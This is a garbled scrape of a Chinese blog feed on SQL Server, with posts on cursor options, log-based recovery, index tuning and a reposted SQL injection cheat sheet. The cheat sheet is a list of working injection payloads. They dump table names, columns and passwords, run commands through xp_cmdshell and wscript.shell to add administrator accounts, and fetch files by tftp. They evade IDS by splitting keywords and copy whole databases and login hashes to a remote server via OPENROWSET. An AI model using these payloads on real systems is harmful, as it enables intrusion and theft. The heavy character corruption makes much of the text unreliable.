�Q�徏立在tempdb 数据库下�Q�。对该游标的��d��操作皆由临时表来应答。因此对基本表的修改�q�不影响游标中的数据�Q?br />��x��标不会随着基本表内容的
改变而改变，同时也无法通过游标来更新基本表�?
KEYSET
指出当游标被打开�Ӟ��游标中列的顺序是固定的，�q�且MS SQL SERVER 会在tempdb内徏立一个表�Q�该表即为KEYSET 
KEYSET 的键值可惟一识别游标中的某行数据。当游标拥有者或其它用户对基本表中的非键值数据进行修�Ҏ���Q?br />�q�种变化能够反映到游标中�Q�所以游标用��h��所有者可以通过滚动游标提限�q�些数据�?

    当其它用户增加一条新的符合所定义的游标范围的数据�Ӟ��无法由此游标��d��该数据。因为Transact-SQL 
服务器游标不支持INSERT 语句�?
    如果在游标中的某一行被删除掉，那么当通过游标来提取该删除行时�Q�@@FETCH_STATUS 的返回��gؓ-2�?
@@FETCH_STATUS 是用来判断读取游标是否成功的�pȝ��全局变量�?
    �׃��更新操作包括两部分：删除原数据插入新数据�Q�所以如果读取原数据�Q�@@FETCH_STATUS 的返回��gؓ-2�Q?
而且无法通过游标来读取新插入的数据。但是如果��用了WHERE CURRENT OF 子句�Ӟ��该新插入行数据便是可见的�?
注意�Q�如果基���表未包含惟一的烦引或主键�Q�则一个KEYSET游标���回复成STATIC游标�?
DYNAMIC
指明基础表的变化���反映到游标中，使用�q�个选项会最大程度上保证数据的一致性。然而，与KEYSET 和STATIC 
�c�d��游标相比较，此类型游标需要大量的游标资源�?
FAST_FORWARD
指明一个FORWARD_ONLY, READ_ONLY 型游标。此选项已�ؓ执行�q�行了优化。如果SCROLL 或FOR_UPDATE 选项被定�?br />�Q�则FAST_FORWARD 选项不能被定义�?
SCROLL_LOCKS
指明锁被攄���在游标结果集所使用的数据上当。数据被��d��游标中时�Q�就会出现锁。这个选项���保对一个游标进行的�?br />新和删除操作总能被成功执行。如果FAST_FORWARD选项被定义，则不能选择该选项。另外，�׃��数据被游标锁定，所
以当考虑到数据�ƈ发处理时�Q�应避免使用该选项�?
OPTIMISTIC
指明在数据被��d��游标后，如果游标中某行数据已发生变化�Q�那么对游标数据�q�行更新或删除可能会��D����p�|。如果��
用了FAST_FORWARD 选项�Q�则不能使用该选项�?
TYPE_WARNING
指明若游标类型被修改成与用户定义的类型不同时�Q�将发送一个警告信息给客户端�?
注意�Q�不可以���SQL_92的游标语法规则与MS SQL SERVER的游标扩展用法�؜合在一起��用�?
    下面我们����ȝ��一下声明游标时应注意的一些问题�?
    如果在CURSOR 前��用了SCROLL 或INSENSITIVE 保留字，则不能在CURSOR 和FOR select_statement 
之间使用��M��的保留字。反之同理�?
    如果用DECLARE CURSOR 声明游标�Ӟ��没有选择READ_ONLY�?OPTIMISTIC 或SCROLL_LOCKS 选项�Ӟ��
游标的缺省情况�ؓ�Q?
    如果SELECT 语句不支持更斎ͼ�则游标�ؓREAD_ONLY�Q?
    STATIC 和FAST_FORWARD �c�d��的游标缺省�ؓREAD_ONLY�Q?  
    DYNAMIC 和KEYSET 游标�~�省为OPTIMISTIC�?
    我们仅能在Transact-SQL 语句中引用游标，而不能在数据库API 函数中引用�?
    游标被声明以后，可以通过�pȝ���q�程对其�Ҏ��进行设�|��?
    寚w��些有权限对视图、表或某些列执行SELECT 语句的用戯���言�Q�它也具有��用游标的�~�省权限�?

liaojiyong 2006-09-30 16:30 发表评论

利用事务日志来恢复数据库------利用事务日志来恢复Update、Delete误操作引��L��数据丢失

liaojiyong — Sat, 30 Sep 2006 08:12:00 GMT

可能有不��朋友遇到过�q�样的问题：
update或delete语句忘带了where子句�Q�或where子句�_�ֺ�不够�Q�执行之后造成了严重的后果�Q?br />�q�种情况的数据恢复只能利用事务日志的备䆾来进行，所以如果你的SQL没有�q�行相应的全库备�?br />或不能备份日志（truncate log on checkpoint选项�?�Q�，那么��无法进行数据的恢复了，或�?br />只能恢复到最�q�一�ơ的备䆾的数据了�?

以下��单说明恢复数据方法：
1�Q�如果误操作之前存在一个全库备份（或已有多个差异备份或增量备䆾�Q�，首先要做的事��是�q?br />�q�行一�ơ日志备份（如果��Z��不让日志文�g变大而置trunc. log on chkpt.选项�?那你��死��翘了）
backup log dbName to disk='fileName'
2�Q�恢复一个全库备份，注意需要��用with norecovery�Q�如果还有其他差异或增量备䆾�Q�则逐个�?br />�?br />restore database dbName from disk='fileName' with norecovery
3�Q�恢复最后一个日志备份即刚做的日志备份，指定恢复旉��点到误操作之前的时刻
restore log dbName from disk='fileName'
with stopat='date_time'

以上�q�些操作都可以在SQL SERVER企业��理器里完成�Q�难度不大。。�?/p>

当然�Q�如果误操作是一些不记日志的操作比如truncate table�Q�select into�{�操作，那么是无法利
用上�q�方法来恢复数据�?..

liaojiyong 2006-09-30 16:12 发表评论

Sql注射�ȝ��(�?

liaojiyong — Sat, 30 Sep 2006 01:06:00 GMT

sql注射�ȝ��Q�早源于or1=1�Q?
最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名�Q�默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩�?br />xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相�?br />xp_dirtree 目录
xp_enumdsn odbc�q�接
xp_loginconfig 服务器安全模式信�?br />xp_makecab 创徏压羃�?br />xp_ntsec_enumdomains domain信息
xp_terminate_process �l�端�q�程�Q�给��Z��个pid
例如�Q?br />sp_addextendedproc xp_webserver, c:tempxp_foo.dll
exec xp_webserver
sp_dropextendedproc xp_webserver
bcp select * from test..foo queryout c:inetpubwwwrootruncommand.asp -c -slocalhost -usa -pfoobar
group by users.id having 1=1-
group by users.id, users.username, users.password, users.privs having 1=1-
; insert into users values( 666, attacker, foobar, 0xffff )-
union select top 1 column_name from information_schema.columns where table_name=logintable-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id)-
union select top 1 column_name from information_schema.columns where table_name=logintable where column_name not in (login_id,login_name)-
union select top 1 login_name from logintable-
union select top 1 password from logintable where login_name=rahul--
构造语句：查询是否存在xp_cmdshell
union select @@version,1,1,1--
and 1=(select @@version)
and sa=(select system_user)
union select ret,1,1,1 from foo--
union select min(username),1,1,1 from users where username > a-
union select min(username),1,1,1 from users where username > admin-
union select password,1,1,1 from users where username = admin--
and user_name()=dbo
and 0<>(select user_name()-
; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c�Q�winntsystem32cmd.exe /c net user swap 5245886 /add
and 1=(select count(*) from master.dbo.sysobjects where xtype = x and name = xp_cmdshell)
;exec master.dbo.sp_addextendedproc xp_cmdshell, xplog70.dll
1=(�Q?0select�Q?0count(*)�Q?0from�Q?0master.dbo.sysobjects�Q?0where�Q?0xtype=x�Q?0and�Q?0name=xp_cmdshell)
and 1=(select is_srvrolemember(sysadmin)) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名�Q�从1�?都是�pȝ��的id�Q?以上才可以判断）
创徏一个虚拟目录e盘：
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c�Q�inetpubwwwrootmkwebdir.vbs -w 默认 web 站点 -v e,e�Q?br />讉K��属性：�Q�配合写入一个webshell�Q?br />declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, null, cscript.exe c�Q�inetpubwwwrootchaccess.vbs -a w3svc/1/root/e browse
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库�?br />and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 暴到一个表假设�?admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in (admin)) 来得到其他的表�?br />and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin
and uid>(str(id))) 暴到uid的数值假设�ؓ18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字�D?假设�?user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from bbs.dbo.admin where username>1) 可以得到用户�?
依次可以得到密码。。。。。假讑֭�在user_id username ,password �{�字�D?br />show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好�?br />暴库�Ҏ��技巧：:�Q?c= 或者把/�?修改�Q?提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=u and name not in(address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=u and name=admin and uid>(str(id))) 判断id�?br />and 0<>(select top 1 name from bbs.dbo.syscolumns where id=773577794) 所有字�D?br />;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1
;create table newtable(id int identity(1,1),paths varchar(500)) declare @test varchar(20) exec master..xp_regread @rootkey=hkey_local_machine, @key=systemcurrentcontrolsetservicesw3svcparametersvirtual roots, @value_name=/, values=@test output insert into paths(path) values(@test)
政策法规�Q�infoid={57c4165a-4206-4c0d-a8d2-e70666ee4e08};use�Q?0master;declare�Q?0@s�Q?0�Q?0int;exec�Q?0sp_oacreate�Q?0wscript.shell,@s�Q?0out;exec�Q?0sp_oamethod�Q?0@s,run,null,cmd.exe�Q?0/c�Q?0ping�Q?01.1.1.1;--
得到了web路径d:xxxx,接下来：
;use ku1;--
;create table cmd (str image);--
传统的存在xp_cmdshell的测试过�E�：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
http�Q?/www.xxx.com/list.asp?classid=1; declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c�Q�winntsystem32cmd.exe /c net user swap 5258 /add
;declare @shell int exec sp_oacreate wscript.shell,@shell output exec sp_oamethod @shell,run,null, c�Q�winntsystem32cmd.exe /c net localgroup administrators swap/add
; exec master..xp_cmdshell tftp -i youip get file.exe-
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的ip你的�׃�n目录bak.dat
如果被限制则可以�?br />select * from openrowset(sqloledb,server;sa;,select ok! exec master.dbo.sp_addlogin hax)
传统查询构造：
select * from news where id=... and topic=... and .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff�Q?-- 昄��有一个叫ffff的用户哈�?br />and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
说明:
上面的语句是得到数据库中的第一个用戯��,�q�把表名攑֜�ffff用户的邮��字�D�中�?br />通过查看ffff的用戯��料可得第一个用表叫ad
然后�Ҏ��表名ad得到�q�个表的id
ffff;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
象下面这样就可以得到�W�二个表的名字了
ffff;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
ffff;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
ffff;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
ffff;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
exec master..xp_servicecontrol start, schedule
exec master..xp_servicecontrol start, server
sp_addextendedproc xp_webserver, c:tempxp_foo.dll
扩展存储��可以通过一般的�Ҏ��调用�Q?
exec xp_webserver
一旦这个扩展存储执行过�Q�可以这样删除它:
sp_dropextendedproc xp_webserver
insert into users values( 666, char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), char(0x63) char(0x68) char(0x72) char(0x69) char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, admin--, password, 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据�?br />-----------------------------------------------------------通常注射的一些介�l�：
a) id=49 �q�类注入的参数是数字型，sql语句原貌大致如下�Q?br />select * from 表名 where 字段=49
注入的参��Cؓid=49 and [查询条�g]�Q�即是生成语句：
select * from 表名 where 字段=49 and [查询条�g]
(b) class=�q�箋�?�q�类注入的参数是字符型，sql语句原貌大致概如下：
select * from 表名 where 字段=�q�箋�?
注入的参��Cؓclass=�q�箋�?and [查询条�g] and = �Q�即是生成语句：
select * from 表名 where 字段=�q�箋�?and [查询条�g] and =
(c) 搜烦时没�q��o参数的，如keyword=关键字，sql语句原貌大致如下�Q?br />select * from 表名 where 字段like �Q�关键字�Q?
注入的参��Cؓkeyword= and [查询条�g] and �Q?5=�Q?��x��生成语句�Q?br />select * from 表名 where字段like �Q?and [查询条�g] and �Q?�Q?br />;;and (select top 1 name from sysobjects where xtype=u and status>0)>0
sysobjects是sqlserver的系�l�表�Q�存储着所有的表名、视图、约束及其它对象�Q�xtype=u and status>0�Q�表�C�用户徏立的表名�Q�上面的语句��第一个表名取出，�?比较大小�Q�让报错信息把表名暴露出来�?br />;;and (select top 1 col_name(object_id(表名),1) from sysobjects)>0
从⑤拿到表名后，用object_id(表名)获取表名对应的内部id�Q�col_name(表名id,1)代表该表的第1个字�D�名�Q�将1换成2,3,4...��可以逐个获取所猜解表里面的字段名�?br />post.htm内容�Q�主要是方便输入�?br />〈iframe name=p src=# width=800 height=350 frameborder=0>

枚�D��Z��的数据表名：
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
�q�是��第一个表名更新到aaa的字�D�处�?br />��d��W�一个表�Q�第二个表可以这栯��出来�Q�在条�g后加�?and name<>刚才得到的表名）�?br />id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
��d��W�二个表�Q�^^^^^^一个个的读出，直到没有为止�?br />��d��D�|��q�样�Q?br />id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错�Q�得到字�D�名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错�Q�得到字�D�名
--------------------------------高��技巧：
[获得数据表名][��字�D�值更��Cؓ表名�Q�再��x��d��q�个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名查出一个加一个]) [ where 条�g]
select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...)
通过sqlserver注入漏洞建数据库��理员帐号和�pȝ��理员帐号[当前帐号必须是sysadmin�l�]
[获得数据表字�D�名][��字�D�值更��Cؓ字段名，再想法读��个字�D늚�值就可得到字�D�名]
update 表名 set 字段=(select top 1 col_name(object_id(要查询的数据表名),字段列如:1) [ where 条�g]
�l�过ids的检��[使用变量]
declare @a sysname set @a=xp_ cmdshell exec @a dir c:
declare @a sysname set @a=xp _cm dshell exec @a dir c:
1�?开启远�E�数据库
基本语法
select * from openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1 )
参数: (1) oledb provider name
2�?其中�q�接字符串参数可以是��M��和端口用来连�?比如
select * from openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table
要复制目标主机的整个数据库，首先要在目标��L��上和自己机器上的数据库徏立连�?如何在目标主��Z��建立�q�程�q�接�Q�刚才已�l�讲�?,之后insert所有远�E�表到本地表�?br />基本语法�Q?br />insert into openrowset(sqloledb, server=servername;uid=sa;pwd=apachy_123, select * from table1) select * from table2
�q�行语句��目标主��Z��table2表中的所有数据复制到�q�程数据库中的table1表中。实际运用中适当修改�q�接字符串的ip地址和端口，指向需要的地方�Q�比如：
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from table2
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into openrowset(sqloledb, uid=sa;pwd=hack3r;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _syscolumns)
select * from user_database.dbo.syscolumns
之后�Q�便可以从本地数据库中看到目标主机的库结构，�q�已�l�易如反掌，不多�Ԍ��复制数据库：
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table1) select * from database..table1
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from table2) select * from database..table2
......
3�?�?�?制哈西表�Q�hash�Q?br />�q�实际上是上�q�复5�?制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下：
insert into openrowset(sqloledb, uid=sa;pwd=apachy_123;network=dbmssocn;address=202.100.100.1,1433;, select * from _sysxlogins) select * from database.dbo.sysxlogins
得到hash之后�Q?�?��可以进行暴力破解。这需要一点运气和大量旉��?br />遍历目录的方法：
先创��Z��个��时表�Q�temp
5;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
5;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列�?br />5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树�l�构,�q�寸入temp表中
5;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文�g的内�?br />5;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--
5;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--
5;insert into temp(id) exec master.dbo.xp_cmdshell cscript c:inetpubadminscriptsadsutil.vbs enum w3svc
5;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- �Q�xp_dirtree适用权限public�Q?br />写入表：
语句1�Q�　and　1=(select is_srvrolemember(sysadmin));--
语句2�Q�　and　1=(select is_srvrolemember(serveradmin));--
语句3�Q�　and　1=(select is_srvrolemember(setupadmin));--
语句4�Q�　and　1=(select is_srvrolemember(securityadmin));--
语句5�Q�　and　1=(select is_srvrolemember(securityadmin));--
语句6�Q�　and　1=(select is_srvrolemember(diskadmin));--
语句7�Q�　and　1=(select is_srvrolemember(bulkadmin));--
语句8�Q�　and　1=(select is_srvrolemember(bulkadmin));--
语句9�Q�　and　1=(select is_member(db_owner));--
把�\径写到表中去�Q?br />;create　table　dirs(paths varchar(100), id int)-
;insert 　dirs　exec　master.dbo.xp_dirtree c:-
　and　0<>(select　top　1　paths　from　dirs)-
　and　0<>(select　top　1　paths　from　dirs　where　paths　not　in(@inetpub))-
语句�Q?create　table　dirs1(paths　varchar(100),　id　int)--
语句�Q?insert　dirs　exec　master.dbo.xp_dirtree e:web--
语句�Q�　and　0<>(select　top　1　paths　from　dirs1)-
把数据库备䆾到网��늛�录：下蝲
;declare　@a　sysname;　set　@a=db_name();backup　database　@a　to　disk=e:webdown.bak;--
and�Q?01=(select�Q?0top�Q?01�Q?0name�Q?0from(select�Q?0top�Q?012�Q?0id,name�Q?0from�Q?0sysobjects�Q?0where�Q?0xtype=char(85))�Q?0t�Q?0order�Q?0by�Q?0id�Q?0desc)
and�Q?01=(select�Q?0top�Q?01�Q?0col_name(object_id(user_login),1)�Q?0from�Q?0sysobjects) 参看相关表�?br />and 1=(select�Q?0user_id�Q?0from�Q?0user_login)
and�Q?00=(select�Q?0user�Q?0from�Q?0user_login�Q?0where�Q?0user>1)

liaojiyong 2006-09-30 09:06 发表评论

��烦引与非簇索引在查询中的应用与分析(�?

liaojiyong — Thu, 28 Sep 2006 02:43:00 GMT

一、深入浅出理解烦引结�?

　　实际上，您可以把索引理解��Z��U�特�D�的目录。微软的SQL SERVER提供了两�U�烦引：聚集索引�Q�clustered index�Q?/p>

也称聚类索引、簇集烦引）和非聚集索引�Q�nonclustered index�Q�也�U�非聚类索引、非��集索引�Q�。下面，我们举例�?/p>

说明一下聚集烦引和非聚集烦引的区别�Q?/p>

　　其实�Q�我们的汉语字典的正文本�w�就是一个聚集烦引。比如，我们要查“安”字�Q�就会很自然地翻开字典的前几页

�Q�因为“安”的拼音是“an”，而按照拼��x��序汉字的字典是以英文字母“a”开头�ƈ以“z”结��Q�那么“安”字��?/p>

自然地排在字典的前部。如果您��d��了所有以“a”开头的部分仍然找不到这个字�Q�那么就说明您的字典中没有这个字�Q?/p>

同样的，如果查“张”字�Q�那您也会将您的字典��d��最后部分，因�ؓ“张”的拼音是“zhang”。也��是��_��字典的正�?/p>

部分本��n��是一个目录，您不需要再��L��其他目录来找到您需要找的内宏V��我们把�q�种正文内容本��n��是一�U�按照一�?/p>

规则排列的目录称为“聚集烦引”�?/p>

　　如果您认识某个字�Q�您可以快速地从自动中查到�q�个字。但您也可能会遇到您不认识的字，不知道它的发韻I��q�时

候，您就不能按照刚才的方法找到您要查的字�Q�而需要去�Ҏ��“偏旁部首”查到您要找的字�Q�然后根据这个字后的��늠�

直接��d��某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序�q�不是真正的正文的排序方�?/p>

�Q�比如您查“张”字�Q�我们可以看到在查部首之后的��字表中“张”的��늠��?72��，��字表中“张”的上面是“驰”字

�Q�但��늠�却是63��，“张”的下面是“徃”字�Q�页面是390��c��很昄��Q�这些字�q�不是真正的分别位于“张”字的上下方

�Q�现在您看到的连�l�的“驰、张、徃”三字实际上��是他们在非聚集索引中的排序�Q�是字典正文中的字在非聚集烦引中

的映��。我们可以通过�q�种方式来找到您所需要的字，但它需要两个过�E�，先找到目录中的结果，然后再翻到您所需�?/p>

的页码。我们把�q�种目录�U��a是目录，正文�U��a是正文的排序方式�U�Cؓ“非聚集索引”�?/p>

　　通过以上例子�Q�我们可以理解到什么是“聚集烦引”和“非聚集索引”。进一步引申一下，我们可以很容易的理解

�Q�每个表只能有一个聚集烦引，因�ؓ目录只能按照一�U�方法进行排序�?/p>

　　二、何时��用聚集烦引或非聚集烦�?/p>

　　下面的表�ȝ��了何时��用聚集烦引或非聚集烦引（很重要）�Q?

动作描述使用聚集索引使用非聚集烦�?
列经常被分组排序 �?�?
�q�回某范围内的数�?�?不应
一个或极少不同�?不应不应
��数目的不同�?�?不应
大数目的不同�?不应 �?
频繁更新的列不应 �?
外键�?�?�?
主键�?�?�?
频繁修改索引�?不应 �?

　　事实上，我们可以通过前面聚集索引和非聚集索引的定义的例子来理解上表。如�Q�返回某范围内的数据一��V��比�?/p>

您的某个表有一个时间列�Q�恰好您把聚合烦引徏立在了该列，�q�时您查�?004�q?�?日至2004�q?0�?日之间的全部数据

�Ӟ��q�个速度��将是很快的�Q�因为您的这本字典正文是按日期进行排序的�Q�聚�cȝ��引只需要找到要��索的所有数据中�?/p>

开头和�l�尾数据卛_��Q�而不像非聚集索引�Q�必��d��查到目录中查到每一��Ҏ��据对应的��늠��Q�然后再�Ҏ��늠�查到具体�?/p>

宏V�?/p>

　　三、结合实际，谈烦引��用的误区

　　理论的目的是应用。虽然我们刚才列��Z��何时应��用聚集烦引或非聚集烦引，但在实践中以上规则却很容易被忽视

或不能根据实际情况进行综合分析。下面我们将�Ҏ��在实践中遇到的实际问题来谈一下烦引��用的误区�Q�以便于大家�?/p>

握烦引徏立的�Ҏ��?/p>

　　1、主键就是聚集烦�?/p>

　　�q�种��x��W�者认为是极端错误的，是对聚集索引的一�U�浪贏V��虽然SQL SERVER默认是在主键上徏立聚集烦引的�?/p>

　　通常�Q�我们会在每个表中都建立一个ID列，以区分每条数据，�q�且�q�个ID列是自动增大的，步长一般�ؓ1。我们的�q?/p>

个办公自动化的实例中的列Gid��是如此。此�Ӟ��如果我们��这个列设�ؓ主键�Q�SQL SERVER会将此列默认��集烦引。这

样做有好处，��是可以让您的数据在数据库中按照ID�q�行物理排序�Q�但�W�者认��样做意义不大�?/p>

　　显而易见，聚集索引的优势是很明昄��Q�而每个表中只能有一个聚集烦引的规则�Q�这使得聚集索引变得更加珍贵�?/p>

　　从我们前面谈到的聚集索引的定义我们可以看出，使用聚集索引的最大好处就是能够根据查询要求，�q�速羃��查�?/p>

范围�Q�避免全表扫描。在实际应用中，因�ؓID��h��自动生成的，我们�q�不知道每条记录的ID��P��所以我们很隑֜�实践�?/p>

用ID��h��q�行查询。这��׃��让ID可��个主键作��集烦引成��Z��U�资源浪贏V��其�ơ，让每个ID号都不同的字�D�作��?/p>

索引也不�W�合“大数目的不同值情况下不应建立聚合索引”规则；当然�Q�这�U�情况只是针对用��L��怿�改记录内容，�?/p>

别是索引��的时候会负作用，但对于查询速度�q�没有媄响�?/p>

　　在办公自动化�pȝ��中，无论是系�l�首��|��C�的需要用��L��收的文�g、会议还是用戯��行文件查询等��M��情况下进�?/p>

数据查询都离不开字段的是“日期”还有用��h��w�的“用户名”�?/p>

　　通常�Q�办公自动化的首��会昄��每个用户��未�{�收的文件或会议。虽然我们的where语句可以仅仅限制当前用户��未

�{�收的情况，但如果您的系�l�已建立了很长时��_��q�且数据量很大，那么�Q�每�ơ每个用��h��开首页的时候都�q�行一�ơ全

表扫描，�q�样做意义是不大的，�l�大多数的用�?个月前的文�g都已�l�浏览过了，�q�样做只能徒增数据库的开销而已。事

实上�Q�我们完全可以让用户打开�pȝ��首页�Ӟ��数据库仅仅查询这个用戯��3个月来未阅览的文�Ӟ��通过“日期”这个字�D?/p>

来限制表扫描�Q�提高查询速度。如果您的办公自动化�pȝ��已经建立�?�q�_��那么您的首页昄��速度理论上将是原来速度8

倍，甚至更快�?/p>

　　在这里之所以提到“理��Z��”三字，是因为如果您的聚集烦引还是盲目地建在ID�q�个主键上时�Q�您的查询速度是没

有这么高的，即��您在“日期”这个字�D�上建立的烦引（非聚合烦引）。下面我们就来看一下在1000万条数据量的情况

下各�U�查询的速度表现�Q?个月内的数据�?5万条�Q�：

　　�Q?�Q�仅在主键上建立聚集索引�Q��ƈ且不划分旉��D�：

Select gid,fariqi,neibuyonghu,title from tgongwen　　用时�Q?28470毫秒�Q�即�Q?28�U�）
　
　　�Q?�Q�在主键上徏立聚集烦引，在fariq上徏立非聚集索引�Q?/p>

select gid,fariqi,neibuyonghu,title from Tgongwen
where fariqi> dateadd(day,-90,getdate())　　用时�Q?3763毫秒�Q?4�U�）

　　�Q?�Q�将聚合索引建立在日期列�Q�fariqi�Q�上�Q?/p>

select gid,fariqi,neibuyonghu,title from Tgongwen
where fariqi> dateadd(day,-90,getdate())　　用时�Q?423毫秒�Q?�U�）

　　虽然每条语句提取出来的都�?5万条数据�Q�各�U�情�늚�差异却是巨大的，特别是将聚集索引建立在日期列时的差异

。事实上�Q�如果您的数据库真的�?000万容量的话，把主键徏立在ID列上�Q�就像以上的�W?�?�U�情况，在网��上的表�?/p>

��是��时�Q�根本就无法昄��。这也是我摒弃ID列作��集烦引的一个最重要的因素。得��Z��上速度的方法是�Q�在各个

select语句前加�Q?/p>

declare @d datetime
set @d=getdate()　　�q�在select语句后加�Q?/p>

select [语句执行��p��旉��(毫秒)]=datediff(ms,@d,getdate())　　2、只要徏立烦引就能显著提高查询速度

　　事实上，我们可以发现上面的例子中�Q�第2�?条语句完全相同，且徏立烦引的字段也相同；不同的仅是前者在

fariqi字段上徏立的是非聚合索引�Q�后者在此字�D�上建立的是聚合索引�Q�但查询速度却有着天壤之别。所以，�q��是在

��M��字段上简单地建立索引��p��提高查询速度�?/p>

　　从徏表的语句中，我们可以看到�q�个有着1000万数据的表中fariqi字段�?003个不同记录。在此字�D�上建立聚合�?/p>

引是再合适不�q�了。在现实中，我们每天都会发几个文�Ӟ��q�几个文件的发文日期��q��同，�q�完全符合徏立聚集烦引要

求的�Q�“既不能�l�大多数都相同，又不能只有极��数相同”的规则。由此看来，我们建立“适当”的聚合索引对于我们

提高查询速度是非帔R��要的�?/p>

　　3、把所有需要提高查询速度的字�D�都加进聚集索引�Q�以提高查询速度

　　上面已经谈到�Q�在�q�行数据查询旉��M��开字段的是“日期”还有用��h��w�的“用户名”。既然这两个字段都是�?/p>

此的重要�Q�我们可以把他们合�ƈ��h��Q�徏立一个复合烦引（compound index�Q��?/p>

　　很多��为只要把��M��字段加进聚集索引�Q�就能提高查询速度�Q�也有�h感到�q�h��Q�如果把复合的聚集烦引字�D�分开

查询�Q�那么查询速度会减慢吗�Q�带着�q�个问题�Q�我们来看一下以下的查询速度�Q�结果集都是25万条数据�Q�：�Q�日期列

fariqi首先排在复合聚集索引的�v始列�Q�用户名neibuyonghu排在后列�Q�：

　　�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi>''2004-5-5'' 　　查询速度�Q?513�?/p>

�U?/p>

　　�Q?�Q�select gid,fariqi,neibuyonghu,title from Tgongwen
　　　　　　　　　　　　where fariqi>''2004-5-5'' and neibuyonghu=''办公�?'　　查询速度�Q?516毫秒

